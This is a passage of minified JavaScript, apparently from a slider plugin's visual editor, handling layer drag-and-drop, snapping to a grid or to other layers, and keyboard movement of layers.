e.firstDimCheckDone=void 0===e.firstDimCheckDone?0:e.firstDimCheckDone,e.firstDimCheckDone++,void requestAnimationFrame(function(){RVS.F.updateHTMLLayerPosition(e)});var c=-1===i.group.puid?{width:RVS.C.layergrid.width(),height:RVS.C.layergrid.height()}:{width:RVS.H[i.group.puid].w.width(),height:RVS.H[i.group.puid].w.height()},p={x:"center"===l?c.width/2-d/2:a.x,y:"middle"===n?c.height/2-S/2:a.y};if(e.snapToGrid&&RVS.S.DaD.sameLevelNotColumn){var u=RVS.F.getSnapPoint(p.x,p.y),R=RVS.F.getSnapPoint(o.x,o.y);a=RVS.F.getSnapPoint(a.x,a.y),"center"!==l&&(p.x=u.x),"middle"!==n&&(p.y=u.y),RVS.S.updatePosToXDif=o.x-R.x-(a.x-r.x),RVS.S.updatePosToYDif=o.y-R.y-(a.y-r.y),o=R}if("fullinset"==i.size.covermode&&"absolute"==i.position.position&&void 0!==RVS.L[i.group.puid]&&"group"==RVS.L[i.group.puid].type&&"100%"==i.size.width[RVS.screen].v?(s.right=i.idle.margin[RVS.screen].v[1]+"px",s.left=i.idle.margin[RVS.screen].v[3]+"px"):"right"!==l?(s.right="auto",s.left=p.x+o.x):(s.left="auto",s.right=p.x-o.x),"fullinset"==i.size.covermode&&"absolute"==i.position.position&&void 0!==RVS.L[i.group.puid]&&"group"==RVS.L[i.group.puid].type&&"100%"==i.size.height[RVS.screen].v?(s.top=i.idle.margin[RVS.screen].v[0]+"px",s.bottom=i.idle.margin[RVS.screen].v[2]+"px"):"bottom"!==n?(s.bottom="auto",s.top=p.y+o.y):(s.top="auto",s.bottom=p.y-o.y),s.x="center"===l?a.x:0,s.y="middle"===n?a.y:0,"slide"===i.behavior.baseAlign&&-1===i.group.puid&&(s.x="right"===l?s.x+RVS.C.layergrid[0].offsetLeft:"left"===l?s.x-RVS.C.layergrid[0].offsetLeft:s.x,s.y="bottom"===n?s.y+RVS.C.layergrid[0].offsetTop:"top"===n?s.y-RVS.C.layergrid[0].offsetTop:s.y),e.updateValues){var V={x:Math.round("right"===l?r.x-o.x:r.x+o.x),y:Math.round("bottom"===n?r.y-o.y:r.y+o.y)};if("column"===RVS.S.DaD.toContainerType&&"absolute"!==RVS.S.DaD.draggedPosType)V.x=0,V.y=0;else if(e.snapToGrid&&RVS.S.DaD.sameLevelNotColumn)V=RVS.F.getSnapPoint(V.x,V.y);else if(e.snapToLayers&&RVS.S.DaD.sameLevelNotColumn){if(-1!==RVS.S.DaD.snapHF.uid){if(e.uid==RVS.S.DaD.currentLayerId){var y=parseInt(RVS.L[RVS.S.DaD.snapHF.uid].position.x[RVS.screen].v,0)+("left"===l?RVS.S.DaD.snapHF.offset:"center"===l?RVS.S.DaD.snapHF.offset-RVS.S.DaD.snapHF.w/2:RVS.S.DaD.snapHF.w-RVS.S.DaD.snapHF.offset);y+=RVS.S.DaD.snapHF.prio>6?"right"===l?0:"left"===l?0-d:0-d/2:RVS.S.DaD.snapHF.prio>3?"right"===l?0-d/2:"left"===l?0-d/2:0:RVS.S.DaD.snapHF.prio<4?"right"===l?0-d:"left"===l?0:d/2:0,RVS.S.DaD.difh=V.x-y,V.x=Math.round(y)}else V.x=V.x-RVS.S.DaD.difh;"right"===l?s.right=s.right-RVS.S.DaD.difh:s.left=s.left-RVS.S.DaD.difh}if(-1!==RVS.S.DaD.snapVF.uid){if(e.uid==RVS.S.DaD.currentLayerId){var m=parseInt(RVS.L[RVS.S.DaD.snapVF.uid].position.y[RVS.screen].v,0)+("top"===n?RVS.S.DaD.snapVF.offset:"middle"===n?RVS.S.DaD.snapVF.offset-RVS.S.DaD.snapVF.h/2:RVS.S.DaD.snapVF.h-RVS.S.DaD.snapVF.offset);m+=RVS.S.DaD.snapVF.prio>6?"bottom"===n?0:"top"===n?0-S:0-S/2:RVS.S.DaD.snapVF.prio>3?"bottom"===n?0-S/2:"top"===n?0-S/2:0:RVS.S.DaD.snapVF.prio<4?"bottom"===n?0-S:"top"===n?0:S/2:0,RVS.S.DaD.difv=V.y-m,V.y=Math.round(m)}else V.y=V.y-RVS.S.DaD.difv;"bottom"===n?s.bottom=s.bottom-RVS.S.DaD.difv:s.top=s.top-RVS.S.DaD.difv}}RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".position.x.#size#.v",val:V.x+"px",uid:e.uid}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".position.y.#size#.v",val:V.y+"px",uid:e.uid}),RVS.S.updatePosToX=V.x,RVS.S.updatePosToY=V.y}else if(e.mouseInfo&&(RVS.S.updatePosToX="column"===RVS.S.DaD.toContainerType&&"absolute"!==RVS.S.DaD.draggedPosType?0:"right"===l?r.x-o.x:r.x+o.x,RVS.S.updatePosToY="column"===RVS.S.DaD.toContainerType&&"absolute"!==RVS.S.DaD.draggedPosType?0:"bottom"===n?r.y-o.y:r.y+o.y,e.snapToGrid&&RVS.S.DaD.sameLevelNotColumn)){var f=RVS.F.getSnapPoint(RVS.S.updatePosToX,RVS.S.updatePosToY);RVS.S.updatePosToX=f.x,RVS.S.updatePosToY=f.y}s.position="absolute",t.w[0].classList.add("_lc_i_abs"),t.w[0].classList.remove("_lc_i_rel"),t.chPosRel=void 0,requestAnimationFrame(function(){tpGS.gsap.set(t.w,s)})}}},RVS.F.resetDragStates=function(){for(var e in RVS.S.DaD.showInMini=!1,RVS.H)RVS.H.hasOwnProperty(e)&&d(e)},RVS.F.moveLayerByKeys=function(e){if(window.moveByKeyboard||(RVS.F.openBackupGroup({id:"LayerPosition",txt:"Layer Position",icon:"open_with"}),window.moveByKeyboard=!0),RVS.S.DaD.difh=0,RVS.S.DaD.difv=0,1===RVS.selLayers.length&&-1!==RVS.L[RVS.selLayers[0]].group.puid&&"column"===RVS.L[RVS.L[RVS.selLayers[0]].group.puid].type){if(-1==e.x||-1==e.y)(t=RVS.F.getPrevNextLayerInOrder(RVS.selLayers[0],"prev"))!==RVS.selLayers[0]&&RVS.F.sortLayer({layer:RVS.selLayers[0],target:"before",env:t,redraw:!0});else if(1===e.x||1===e.y){var t;(t=RVS.F.getPrevNextLayerInOrder(RVS.selLayers[0],"next"))!==RVS.selLayers[0]&&RVS.F.sortLayer({layer:RVS.selLayers[0],target:"after",env:t,redraw:!0})}}else for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];RVS.F.updateHTMLLayerPosition({uid:a,o:e,updateValues:!0,lhCwidth:RVS.H[a].c.outerWidth(),lhCheight:RVS.H[a].c.outerHeight()}),document.getElementById("layer_pos_x").value=RVS.L[a].position.x[RVS.screen].v,document.getElementById("layer_pos_y").value=RVS.L[a].position.y[RVS.screen].v}},RVS.F.collectAllSameAlignedLayers=function(e){for(var t in RVS.S.DaD.snapH={},RVS.S.DaD.snapV={},RVS.L)RVS.L[t].hasOwnProperty&&RVS.L[t].group.puid===RVS.S.DaD.fromContainerID&&void 0!==RVS.L[t].hover&&e!=RVS.L[t].uid&&(RVS.L[t].position.horizontal[RVS.screen].v===RVS.L[e].position.horizontal[RVS.screen].v&&(RVS.S.DaD.snapH[RVS.L[t].uid]={ox:parseInt(RVS.L[t].position.x[RVS.screen].v,0),x:RVS.H[t].w[0].offsetLeft,w:RVS.H[t].w[0].offsetWidth},RVS.S.DaD.snapH[RVS.L[t].uid].x="center"===RVS.L[e].position.horizontal[RVS.screen].v?RVS.S.DaD.snapH[RVS.L[t].uid].ox+RVS.S.lgw/2-RVS.S.DaD.snapH[RVS.L[t].uid].w/2:RVS.S.DaD.snapH[RVS.L[t].uid].x,RVS.S.DaD.snapH[RVS.L[t].uid].xc=RVS.S.DaD.snapH[RVS.L[t].uid].x+RVS.S.DaD.snapH[RVS.L[t].uid].w/2,RVS.S.DaD.snapH[RVS.L[t].uid].xr=RVS.S.DaD.snapH[RVS.L[t].uid].x+RVS.S.DaD.snapH[RVS.L[t].uid].w),RVS.L[t].position.vertical[RVS.screen].v===RVS.L[e].position.vertical[RVS.screen].v&&(RVS.S.DaD.snapV[RVS.L[t].uid]={oy:parseInt(RVS.L[t].position.y[RVS.screen].v,0),y:RVS.H[t].w[0].offsetTop,h:RVS.H[t].w[0].offsetHeight},RVS.S.DaD.snapV[RVS.L[t].uid].y="middle"===RVS.L[e].position.vertical[RVS.screen].v?RVS.S.DaD.snapV[RVS.L[t].uid].oy+RVS.S.lgh/2-RVS.S.DaD.snapV[RVS.L[t].uid].h/2:RVS.S.DaD.snapV[RVS.L[t].uid].y,RVS.S.DaD.snapV[RVS.L[t].uid].ym=RVS.S.DaD.snapV[RVS.L[t].uid].y+RVS.S.DaD.snapV[RVS.L[t].uid].h/2,RVS.S.DaD.snapV[RVS.L[t].uid].yb=RVS.S.DaD.snapV[RVS.L[t].uid].y+RVS.S.DaD.snapV[RVS.L[t].uid].h))},RVS.F.closeToOtherLayers=function(e,t){RVS.S.DaD.snapHF={offset:1e4,d:2e4,uid:-1,prio:50},RVS.S.DaD.snapVF={offset:1e4,d:2e4,uid:-1,prio:50},t.m=t.x+t.w/2,t.e=t.x+t.w;var i=RVS.SLIDER.settings.snap.gap;for(var a in RVS.S.DaD.snapH){if(!RVS.S.DaD.snapH[a].hasOwnProperty)continue;let e=RVS.S.DaD.snapH[a],r=Math.abs(t.x-e.x+RVS.S.DaD.scrolldiff.x),s=Math.abs(t.x-e.xc+RVS.S.DaD.scrolldiff.x),o=Math.abs(t.x-e.xr+RVS.S.DaD.scrolldiff.x),n=Math.abs(t.x-(e.x-i)+RVS.S.DaD.scrolldiff.x),l=Math.abs(t.x-(e.xr+i)+RVS.S.DaD.scrolldiff.x),d=Math.abs(t.m-e.x+RVS.S.DaD.scrolldiff.x),S=Math.abs(t.m-e.xc+RVS.S.DaD.scrolldiff.x),c=Math.abs(t.m-e.xr+RVS.S.DaD.scrolldiff.x),p=Math.abs(t.e-e.x+RVS.S.DaD.scrolldiff.x),u=Math.abs(t.e-e.xc+RVS.S.DaD.scrolldiff.x),R=Math.abs(t.e-e.xr+RVS.S.DaD.scrolldiff.x);grl=Math.abs(t.e-(e.x-i)+RVS.S.DaD.scrolldiff.x),gre=Math.abs(t.e-(e.xr+i)+RVS.S.DaD.scrolldiff.x),r<10&&r<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:0,uid:a,d:r,prio:1,w:e.w}:i>5&&n<10&&n<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:0-i,uid:a,d:r,prio:1,w:e.w}:RVS.S.DaD.snapHF.prio>=2&&s<=10&&RVS.S.DaD.snapHF.offset>e.w/2?RVS.S.DaD.snapHF={offset:e.w/2,uid:a,prio:2,d:s,w:e.w}:RVS.S.DaD.snapHF.prio>=3&&o<=10&&RVS.S.DaD.snapHF.offset>e.w?RVS.S.DaD.snapHF={offset:e.w,uid:a,prio:3,d:o,w:e.w}:i>5&&RVS.S.DaD.snapHF.prio>=3&&l<10&&RVS.S.DaD.snapHF.offset>e.w?RVS.S.DaD.snapHF={offset:e.w+i,uid:a,prio:3,d:o,w:e.w,gap:1}:RVS.S.DaD.snapHF.prio>=4&&d<=10&&d<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:0,d:d,uid:a,prio:4,w:e.w}:RVS.S.DaD.snapHF.prio>=5&&S<=10&&S<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:e.w/2,d:S,uid:a,prio:5,w:e.w}:RVS.S.DaD.snapHF.prio>=6&&c<=10&&c<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:e.w,d:c,uid:a,prio:6,w:e.w}:RVS.S.DaD.snapHF.prio>=7&&p<=10&&p<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:0,d:p,uid:a,prio:7,w:e.w}:i>5&&RVS.S.DaD.snapHF.prio>=7&&grl<i&&p<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:0-i,d:p,uid:a,prio:7,w:e.w,gap:1}:RVS.S.DaD.snapHF.prio>=8&&u<=10&&u<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:e.w/2,d:u,uid:a,prio:8,w:e.w}:RVS.S.DaD.snapHF.prio>=9&&R<=10&&R<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:e.w,d:R,uid:a,prio:9,w:e.w}:i>5&&RVS.S.DaD.snapHF.prio>=9&&gre<i&&R<RVS.S.DaD.snapHF.d&&(RVS.S.DaD.snapHF={offset:e.w+i,d:R,uid:a,prio:9,w:e.w,gap:1})}for(var a in t.m=t.y+t.h/2,t.e=t.y+t.h,RVS.S.DaD.snapV){if(!RVS.S.DaD.snapV[a].hasOwnProperty)continue;let e=RVS.S.DaD.snapV[a],r=Math.abs(t.y-e.y+RVS.S.DaD.scrolldiff.y),s=Math.abs(t.y-e.ym+RVS.S.DaD.scrolldiff.y),o=Math.abs(t.y-e.yb+RVS.S.DaD.scrolldiff.y),n=Math.abs(t.y-(e.y-i)+RVS.S.DaD.scrolldiff.y),l=Math.abs(t.y-(e.yb+i)+RVS.S.DaD.scrolldiff.y),d=Math.abs(t.m-e.y+RVS.S.DaD.scrolldiff.y),S=Math.abs(t.m-e.ym+RVS.S.DaD.scrolldiff.y),c=Math.abs(t.m-e.yb+RVS.S.DaD.scrolldiff.y),p=Math.abs(t.e-e.y+RVS.S.DaD.scrolldiff.y),u=Math.abs(t.e-e.ym+RVS.S.DaD.scrolldiff.y),R=Math.abs(t.e-e.yb+RVS.S.DaD.scrolldiff.y),V=Math.abs(t.e-(e.y-i)+RVS.S.DaD.scrolldiff.y),y=Math.abs(t.e-(e.yb+i)+RVS.S.DaD.scrolldiff.y);r<10&&r<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:0,uid:a,d:r,prio:1,h:e.h}:i>5&&n<10&&r<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:0-i,uid:a,d:r,prio:1,h:e.h,gap:1}:RVS.S.DaD.snapVF.prio>=2&&s<10&&RVS.S.DaD.snapVF.offset>e.h/2?RVS.S.DaD.snapVF={offset:e.h/2,uid:a,prio:2,d:s,h:e.h}:RVS.S.DaD.snapVF.prio>=3&&o<10&&RVS.S.DaD.snapVF.offset>e.h?RVS.S.DaD.snapVF={offset:e.h,uid:a,prio:3,d:o,h:e.h}:i>5&&RVS.S.DaD.snapVF.prio>=3&&l<10&&RVS.S.DaD.snapVF.offset>e.h?RVS.S.DaD.snapVF={offset:e.h+i,uid:a,prio:3,d:o,h:e.h,gap:1}:RVS.S.DaD.snapVF.prio>=4&&d<10&&d<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:0,d:d,uid:a,prio:4,h:e.h}:RVS.S.DaD.snapVF.prio>=5&&S<10&&S<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:e.h/2,d:S,uid:a,prio:5,h:e.h}:RVS.S.DaD.snapVF.prio>=6&&c<10&&c<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:e.h,d:c,uid:a,prio:6,h:e.h}:RVS.S.DaD.snapVF.prio>=7&&p<10&&p<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:0,d:p,uid:a,prio:7,h:e.h}:i>5&&RVS.S.DaD.snapVF.prio>=7&&V<10&&p<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:0-i,d:p,uid:a,prio:7,h:e.h,gap:1}:RVS.S.DaD.snapVF.prio>=8&&u<10&&u<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:e.h/2,d:u,uid:a,prio:8,h:e.h}:RVS.S.DaD.snapVF.prio>=9&&R<10&&R<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:e.h,d:R,uid:a,prio:9,h:e.h}:i>5&&RVS.S.DaD.snapVF.prio>=9&&y<10&&R<RVS.S.DaD.snapVF.d&&(RVS.S.DaD.snapVF={offset:e.h+i,d:R,uid:a,prio:9,h:e.h,gap:1})}},RVS.F.updateDraggedWidth=function(e){var t=void 0!==RVS.S.DaD.CoveredDims&&void 0!==RVS.S.DaD.CoveredDims.width?RVS.S.DaD.CoveredDims:"auto"==RVS.L[RVS.S.DaD.currentLayerId].size.width[RVS.screen].v?RVS.S.DaD.originalWidth:RVS.L[RVS.S.DaD.currentLayerId].size.width[RVS.screen].v;return(null==RVS.S.DaD.parentWidth||void 0!==RVS.S.DaD.toContainerID&&RVS.S.DaD.toContainerID!==RVS.S.DaD.parentID)&&(RVS.S.DaD.parentID=parseInt(RVS.S.DaD.toContainerID,0),RVS.S.DaD.parentWidth=-1!==RVS.S.DaD.parentID&&void 0!==RVS.H[RVS.S.DaD.parentID]?RVS.H[RVS.S.DaD.parentID].w[0].offsetWidth:0),-1!==RVS.S.DaD.parentID&&RVS.S.DaD.wpercent&&(t=RVS.S.DaD.parentWidth*(parseInt(t)/100),e&&tpGS.gsap.set(RVS.S.DaD.uiHelper,{width:t})),t},RVS.F.doDraggable=function(e){var t=RVS.H[e.uid];t.w.data("draggable")&&t.w.draggable("destroy"),t.w.data("resizable")&&t.w.resizable("destroy"),e.drag&&t.w.draggable({helper:"clone",cancel:"#the_container._layer_in_group_sel_.layer_is_inset .ui-draggable.selected",appendTo:"#layer_grid_"+RVS.S.slideId,start:function(i,a){if("fullinset"!=RVS.L[e.uid].size.covermode){if(RVS.S.dragging=!0,RVS.S.realDragHappen=!1,RVS.animationMode="#form_layer_animation"===RVS.eMode.menu&&"animation"===RVS.eMode.mode,RVS.F.setRulers(),RVS.F.stopAndPauseAllLayerAnimation(),RVS.F.resetDragStates(),"relative"===RVS.L[e.uid].position.ingrouppositoin&&(RVS.L[e.uid].position.position="relative"),RVS.S.DaD.touchPosition={x:i.clientX-a.originalPosition.left,y:i.clientY-a.originalPosition.top},RVS.S.ulInner[0].classList.add("dropSensorActive"),RVS.F.updateContentDeltas(),RVS.S.DaD.dropSensor=!0!==RVS.animationMode?1:0,RVS.S.DaD.currentLayerId=e.uid,RVS.S.DaD.parentID=-1,RVS.S.DaD.wpercent=(RVS.L[RVS.S.DaD.currentLayerId].size.width[RVS.screen].v+"").indexOf("%")>=0,RVS.S.DaD.wpercent&&(RVS.S.DaD.parentID=parseInt(RVS.L[e.uid].group.puid,0),RVS.S.DaD.parentID=RVS.S.DaD.parentID>=0?RVS.S.DaD.parentID:-1,RVS.S.DaD.parentWidth=RVS.S.DaD.parentID>=0?RVS.H[RVS.S.DaD.parentID].w[0].offsetWidth:0),"relative"===RVS.L[RVS.S.DaD.currentLayerId].position.position?RVS.C.slide[0].classList.add("rel_layer_in_drag"):RVS.C.slide[0].classList.add("abs_layer_in_drag"),RVS.S.DaD.draggedPosType=t.w[0].style.position,RVS.S.click.y=i.clientY,RVS.S.click.x=i.clientX,RVS.S.DaD.startPos="0",RVS.S.DaD.fromContainerID=RVS.L[e.uid].group.puid,RVS.S.DaD.lastRegisteredRow=-1===RVS.S.DaD.fromContainerID?-1:"group"===RVS.L[RVS.S.DaD.fromContainerID].type?"group":RVS.L[RVS.S.DaD.fromContainerID].group.puid,RVS.S.DaD.lastRegisteredRowBefore=RVS.S.DaD.lastRegisteredRow,window.scrollMem={y:RVS.S.rb_ScrollY,x:RVS.S.rb_ScrollX},RVS.S.DaD.fromContainerRowColumn=-1!==RVS.S.DaD.fromContainerID,RVS.S.DaD.uiHelper=a.helper,RVS.S.DaD.clone=RVS.S.DaD.fromContainerRowColumn?a.helper:t.w,RVS.S.DaD.dragItemOffset=t.w.offset(),RVS.S.DaD.fromContainerType=RVS.S.DaD.fromContainerID>=0&&RVS.S.DaD.fromContainerID<=5e3?RVS.L[RVS.L[e.uid].group.puid].type:"root",RVS.S.DaD.scrolldiff={x:RVS.S.rb_ScrollX-window.scrollMem.x,y:RVS.S.rb_ScrollY-window.scrollMem.y},RVS.ENV.tlGridWrap[0].classList.remove("selected"),!0!==RVS.animationMode){for(var r in RVS.S.WWL=RVS.L[e.uid],RVS.S.lpv=RVS.S.WWL.position.vertical[RVS.screen].v,RVS.S.lph=RVS.S.WWL.position.horizontal[RVS.screen].v,RVS.C.layer_pos_x=void 0===RVS.C.layer_pos_x?document.getElementById("layer_pos_x"):RVS.C.layer_pos_x,RVS.C.layer_pos_y=void 0===RVS.C.layer_pos_y?document.getElementById("layer_pos_y"):RVS.C.layer_pos_y,"layers"===RVS.SLIDER.settings.snap.adjust&&RVS.F.collectAllSameAlignedLayers(e.uid),RVS.S.DaD.snapToGrid="grid"===RVS.SLIDER.settings.snap.adjust,RVS.S.DaD.snapToLayers="layers"===RVS.SLIDER.settings.snap.adjust,RVS.H)RVS.H.hasOwnProperty(r)&&"group"===RVS.L[r].type&&(RVS.H[r].w_offset=RVS.H[r].w.offset());for(var s in RVS.F.selectLayers({id:e.uid,overwrite:!0,action:"add",quickmode:!0}),RVS.S.DaD.CoveredDims="slide"===RVS.L[e.uid].behavior.baseAlign?RVS.F.updateCoveredLayer(e.uid):void 0,RVS.selLayers)if(RVS.selLayers.hasOwnProperty(s)){r=RVS.selLayers[s];RVS.H[r].c_width=RVS.H[r].c.outerWidth(),RVS.H[r].c_height=RVS.H[r].c.outerHeight(),RVS.H[r].w_offsetcache={horizontal:RVS.S.DaD.dragItemOffset.left-RVS.H[r].w.offset().left,vertical:RVS.S.DaD.dragItemOffset.top-RVS.H[r].w.offset().top}}RVS.S.DaD.originalWidth=t.w.width()+1,RVS.S.DaD.originalHeight=t.w.height()+1,a.helper.css({zIndex:1e5,width:RVS.S.DaD.originalWidth}),tpGS.gsap.set(t.w,{opacity:0}),RVS.C.layergrid.addClass("layersInDragorResize")}else{if(void 0!==RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame]&&""+RVS.S.DaD.currentLayerId==""+RVS.selLayers[0]||(RVS.F.selectLayers({id:RVS.S.DaD.currentLayerId,overwrite:!0,action:"add",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!1,ignoreModeChange:!0}),void 0===RVS.S.keyFrame&&(RVS.F.setKeyframeSelected("frame_1"),RVS.S.keyFrame="frame_1")),RVS.S.DaD.layerFrameX=document.getElementById("le_frame_x"),RVS.S.DaD.layerFrameY=document.getElementById("le_frame_y"),RVS.S.DaD.frameOXH=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.x[RVS.screen].v,RVS.S.DaD.frameOYH=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.y[RVS.screen].v,"inherit"===RVS.S.DaD.frameOXH||"inherit"===RVS.S.DaD.frameOYH){var o=RVS.F.getPrevNextFrame({layerid:RVS.selLayers[0],frame:RVS.S.keyFrame});RVS.S.DaD.frameOXH="inherit"===RVS.S.DaD.frameOXH?RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[o.prev.frameid].transform.x[RVS.screen].v:RVS.S.DaD.frameOXH,RVS.S.DaD.frameOYH="inherit"===RVS.S.DaD.frameOYH?RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[o.prev.frameid].transform.y[RVS.screen].v:RVS.S.DaD.frameOYH,RVS.S.DaD.frameOXH="inherit"===RVS.S.DaD.frameOXH?0:RVS.S.DaD.frameOXH,RVS.S.DaD.frameOYH="inherit"===RVS.S.DaD.frameOYH?0:RVS.S.DaD.frameOYH}RVS.S.DaD.frameOX=parseInt(RVS.S.DaD.frameOXH,0),RVS.S.DaD.frameOY=parseInt(RVS.S.DaD.frameOYH,0),RVS.S.DaD.frameOX_N=RVS.F.isNumeric(RVS.S.DaD.frameOX)&&((""+RVS.S.DaD.frameOXH).indexOf("px")>=0||"0"==RVS.S.DaD.frameOXH),RVS.S.DaD.frameOY_N=RVS.F.isNumeric(RVS.S.DaD.frameOY)&&((""+RVS.S.DaD.frameOYH).indexOf("px")>=0||"0"==RVS.S.DaD.frameOYH),tpGS.gsap.set(t.w,{opacity:1}),a.helper.css({opacity:0})}tpGS.gsap.set(a.helper.find("._lc_content_")[0],{whiteSpace:RVS.L[RVS.selLayers[0]].idle.whiteSpace[RVS.screen]})}else RVS.F.showInfo({content:RVS_LANG.notduringinsetmode,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})},drag:function(t,i){if("fullinset"!=RVS.L[e.uid].size.covermode)if(RVS.S.DaD.scrolldiff={x:RVS.S.rb_ScrollX-window.scrollMem.x,y:RVS.S.rb_ScrollY-window.scrollMem.y},RVS.S.DaD.dragdelta.x=Math.round((t.clientX-RVS.S.click.x+RVS.S.DaD.scrolldiff.x)/RVS.zoom),RVS.S.DaD.dragdelta.y=Math.round((t.clientY-RVS.S.click.y+RVS.S.DaD.scrolldiff.y)/RVS.zoom),!0===RVS.animationMode)RVS.S.DaD.frameOX_N&&(RVS.S.DaD.layerFrameX.value=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.x[RVS.screen].v=RVS.S.DaD.frameOX+RVS.S.DaD.dragdelta.x+"px"),RVS.S.DaD.frameOY_N&&(RVS.S.DaD.layerFrameY.value=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.y[RVS.screen].v=RVS.S.DaD.frameOY+RVS.S.DaD.dragdelta.y+"px"),RVS.F.renderLayerAnimation({layerid:RVS.S.DaD.currentLayerId,quickRendering:!1,timeline:"full",caller:"drawHTMLLayer"}),requestAnimationFrame(function(){RVS.F.showMouseInfo({classes:"purplemouseinfo",html:"<div class='mouse_frame_label'>"+RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].alias+"</div><div class='mouse_info_coor '><div><span class='mouselabel'>X</span><span class='mouseval'>"+RVS.S.DaD.layerFrameX.value+"</span></div><div><span class='mouselabel'>Y</span><span class='mouseval'>"+RVS.S.DaD.layerFrameY.value+"</span></div></div></div>"})});else{for(var a in RVS.S.DaD.sameLevelNotColumn=-1===RVS.S.DaD.toContainerID&&"root"===RVS.S.DaD.fromContainerType,void 0!==RVS.S.updateEsyInputsTimer&&(clearTimeout(RVS.S.updateEsyInputsTimer),RVS.S.updateEsyInputsTimerMemory=!0,delete RVS.S.updateEsyInputsTimer),"column"!==RVS.S.DaD.fromContainerType||RVS.S.DaD.showInMini||"absolute"===RVS.S.DaD.draggedPosType||(RVS.S.DaD.dragdelta.x=RVS.S.DaD.dragdelta.x+RVS.S.DaD.touchPosition.x-RVS.S.layer_grid_offset.left,RVS.S.DaD.dragdelta.y=RVS.S.DaD.dragdelta.y+RVS.S.DaD.touchPosition.y-RVS.S.layer_grid_offset.top),i.position={},RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){var r=RVS.selLayers[a];RVS.F.updateHTMLLayerPosition({uid:r,o:RVS.S.DaD.dragdelta,updateDistanceLines:e.uid,lhCwidth:RVS.H[r].c_width,lhCheight:RVS.H[r].c_height,updateFields:r==e.uid,mouseInfo:r==RVS.S.DaD.currentLayerId,snapToGrid:RVS.S.DaD.snapToGrid,snapToLayers:RVS.S.DaD.snapToLayers})}var s={left:(t.clientX-RVS.S.layer_grid_offset.left)/RVS.zoom,top:(t.clientY-RVS.S.layer_grid_offset.top)/RVS.zoom,transformOrigin:"0 0",opacity:.75,scale:.6,width:RVS.S.DaD.originalWidth,display:RVS.L[RVS.S.DaD.currentLayerId].idle.display,x:0+RVS.S.DaD.scrolldiff.x,y:0+RVS.S.DaD.scrolldiff.y};RVS.S.DaD.showInMini||("column"===RVS.S.DaD.fromContainerType&&"absolute"!==RVS.S.DaD.draggedPosType||(s.left=(t.clientX-RVS.S.DaD.touchPosition.x)/RVS.zoom,s.top=(t.clientY-RVS.S.DaD.touchPosition.y)/RVS.zoom),s.width=RVS.F.updateDraggedWidth(),s.height="auto"==RVS.L[RVS.S.DaD.currentLayerId].size.height[RVS.screen].v?RVS.S.DaD.originalHeight:RVS.L[RVS.S.DaD.currentLayerId].size.height[RVS.screen].v,s.display="block",s.scale=1),RVS.S.DaD.snapToGrid&&RVS.S.DaD.sameLevelNotColumn?(s.left=s.left-RVS.S.updatePosToXDif,s.top=s.top-RVS.S.updatePosToYDif):RVS.S.DaD.snapToLayers&&RVS.F.closeToOtherLayers(RVS.S.DaD.currentLayerId,{x:s.left,y:s.top,w:RVS.H[RVS.S.DaD.currentLayerId].c_width,h:RVS.H[RVS.S.DaD.currentLayerId].c_height}),tpGS.gsap.set(i.helper,s),RVS.S.DaD.startPos={x:s.left,y:s.top},RVS.C.layer_pos_x.value=RVS.S.updatePosToX,RVS.C.layer_pos_y.value=RVS.S.updatePosToY,requestAnimationFrame(function(){void 0===RVS.S.updatePosToX||void 0===RVS.S.updatePosToY||0==RVS.S.updatePosToX&&0==RVS.S.updatePosToY?RVS.F.hideMouseInfo():RVS.F.showMouseInfo({html:"<div class='mouse_info_coor'><div><span class='mouselabel'>X</span><span class='mouseval'>"+RVS.S.updatePosToX+"</span></div><div><span class='mouselabel'>Y</span><span class='mouseval'>"+RVS.S.updatePosToY+"</span></div></div><div class='mouse_info_align "+RVS.S.lph+" "+RVS.S.lpv+"'><span class='mia_tl'></span><span class='mia_tc'></span><span class='mia_tr'></span><span class='mia_ml'></span><span class='mia_mc'></span><span class='mia_mr'></span><span class='mia_bl'></span><span class='mia_bc'></span><span class='mia_br'></span></div>"}),"none"!==RVS.SLIDER.settings.snap.adjust&&(RVS.S.DaD.sameLevelNotColumn?RVS.F.snapVisual({av:RVS.S.lpv,ah:RVS.S.lph,sp:"grid"===RVS.SLIDER.settings.snap.adjust?RVS.F.getSnapPoint(RVS.S.updatePosToX,RVS.S.updatePosToY):void 